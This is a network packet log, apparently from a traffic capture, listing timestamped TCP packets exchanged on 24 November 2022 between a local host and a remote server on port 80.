Nov 24, 2022 13:27:53.334197044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334211111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334225893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334239006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334252119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334264994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334276915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334292889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334306002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334319115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334331036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334345102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334358931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334374905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334386110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334403038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334415913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334430933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334441900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334459066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334474087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334485054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334496975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334511042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334521055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334539890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334554911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334568024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334579945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334595919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334616899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334624052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334639072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334649086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334661961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334673882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334686995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334701061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334714890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334726095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334749937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334752083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334769011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334777117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334804058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334804058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334829092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334851027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334851027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334852934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334866047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334889889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334899902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334914923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334935904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334940910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334954977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334964991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334976912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334988117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335005045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335011959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335036039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335036993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335057020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335062027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335072994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335088968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335103989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335118055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335133076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335144043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335154057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335172892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335201025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335211992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335227966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335253000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335253954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335278988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335279942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335299969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335305929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335316896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335333109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335350037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335361004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335371017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335390091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335405111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335419893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335444927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335448980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335464001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335477114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335484982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335505962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335514069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335530996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335541964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335561991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335575104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335588932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335602999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335614920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335639000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335640907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335668087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335680008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335690975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335711956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335716009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335740089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335741997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335761070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335762978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335782051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335786104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335800886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335810900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335829973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335834980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335846901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335858107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335875988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335881948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335894108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335916042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335942030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335953951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335969925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.335994005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.335998058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.336010933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.336025000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.336035967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.336052895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.336064100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.336080074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.336102962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.336110115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.336119890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.336138964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.336146116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.336167097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.336175919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.336204052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356493950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356525898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356556892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356584072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356595993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356611967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356627941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356637955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356664896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356678963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356688976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356698990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356710911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356717110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356739044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356741905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356762886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356769085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356791019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356816053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356842041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356853008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356868029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356893063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356918097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356921911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356945992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356947899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356972933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.356976986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356992960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.356997967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357023954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357026100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357043028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357053041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357074976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357080936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357100964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357106924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357121944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357136965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357158899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357165098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357178926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357192039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357203960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357218981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357242107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357248068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357273102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357276917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357299089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357300997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357326031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357336044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357352018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357355118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357377052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357378006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357395887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357404947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357418060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357430935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357446909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357456923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357472897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357481003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357501030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357506037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357521057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357532024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357548952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357557058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357583046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357583046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357606888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357610941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357628107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357637882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357656956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357664108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357687950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357687950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357709885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357714891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357728004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357738972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357757092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357760906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357774019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357784986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357804060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357808113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357824087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357831955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357850075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357858896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357872009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357884884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357911110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357913971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357932091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357940912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357965946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357968092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.357984066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.357997894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358015060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358026981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358050108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358052969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358081102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358082056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358098030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358108044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358131886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358133078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358155012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358161926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358177900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358187914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358212948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358212948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358232021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358238935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358259916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358263016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358277082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358285904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358303070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358313084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358340025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358344078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358369112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358374119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358386993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358397007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358422995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358426094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358448982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358453035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358468056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358474970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358500957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358503103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358527899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358529091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358544111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358556986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358578920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358583927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358596087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358608007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358624935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358634949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358659983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358664989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358685017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358685017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358700037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358709097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358732939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358732939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358752012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358760118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358779907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358784914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358803988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358809948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358833075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358834028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358859062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358890057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358890057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358900070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358911991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358926058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358952045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.358967066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.358978987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359002113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359004974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359030962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359031916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359045029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359059095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359074116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359088898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359103918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359116077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359129906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359143019 CET	80	49702	66.235.200.147	192.168.2.4
